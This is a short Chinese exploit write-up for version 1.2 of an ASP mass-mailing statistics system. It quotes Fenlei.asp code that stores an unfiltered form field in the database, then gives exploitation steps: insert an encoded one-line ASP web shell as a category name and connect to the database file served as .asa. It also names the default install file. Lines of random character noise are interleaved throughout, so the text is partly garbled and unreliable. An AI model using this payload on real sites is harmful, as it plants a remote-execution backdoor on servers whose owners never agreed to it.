铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
5 A2 E1 ~) C5 C! i0 H. K0 d; o: H
" e# v, T3 H! b' }5 C9 L5 gIF Request.QueryString("Action")="del" Then
ID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
'略
! x5 h2 k9 I* p; XIF Request.QueryString("Action")="Add" Then
! _+ A* C. D5 S# h  V& B, a7 ]Tname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
1 b6 B/ t8 B# d8 h$ `7 I  aRs.Open Sql,Conn,1,3
Rs.Addnew
Rs("Typename")=Tname
'略
/ |; f" v: V# J  G. CSet Rs=Server.CreateObject("adodb.Recordset")
0 O8 L; V4 Y# b2 I* _- @# a! kSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
'略
%>
# w% F( O+ n5 Q1 S; d* n+ M; M
) k4 Q: C6 _! v1 T# U3 X

6 q5 Y9 p9 |& {# v; B7 x, ~  D没有过滤，直接写入数据库。

利用方法：
1 C8 J. E0 L# u! p; W
5 x/ w% _4 C' @' M- O插入：┼攠數畣整爠煥敵瑳∨≡┩>
: F8 g+ a9 o1 G& F

连接： http://www.xxx.com/###tongbaner.asa
" r6 t( {; F- c3 e. U7 d3 @' j'默认安装文件：
'install.asp